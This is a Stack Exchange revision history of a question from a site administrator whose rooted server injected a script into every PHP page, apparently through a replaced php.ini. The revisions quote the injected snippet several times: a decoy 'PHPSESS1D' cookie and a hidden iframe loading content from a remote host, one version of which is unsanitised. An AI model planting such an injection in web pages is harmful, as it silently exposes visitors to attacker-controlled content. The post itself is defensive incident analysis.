Revisions to Server wide javascript injection

added 164 characters in body

Source Link

edited Nov 18, 2011 at 6:50

79
1
5

UPDATE: The server was rooted, php.ini was replaced that cause the injection to appear. Still haven't figured out which directive is injecting the javascript.

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. Server running PHP 5.2.17 and Apache 2.2.17.

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. Server running PHP 5.2.17 and Apache 2.2.17.

UPDATE: The server was rooted, php.ini was replaced that cause the injection to appear. Still haven't figured out which directive is injecting the javascript.

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. Server running PHP 5.2.17 and Apache 2.2.17.

sanitised the URL

Source Link

edited Nov 17, 2011 at 8:43

Rory Alsop ♦

61.7k
12
120
325

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://ndel.sk990SANITISEDURL.net/ad.jpg?2"></iframe>

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. Server running PHP 5.2.17 and Apache 2.2.17.

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://ndel.sk990.net/ad.jpg?2"></iframe>

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. Server running PHP 5.2.17 and Apache 2.2.17.

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. Server running PHP 5.2.17 and Apache 2.2.17.

Tweeted twitter.com/#!/StackSecurity/status/137082861831467008

occurred Nov 17, 2011 at 8:21

Adding Tags

Link

edit approved Nov 17, 2011 at 8:11

Sachin Kumar

870
3
9
14

Source Link

asked Nov 17, 2011 at 7:22

breakingigloo

79
1
5

Loading

Stack Exchange Network

Return to Question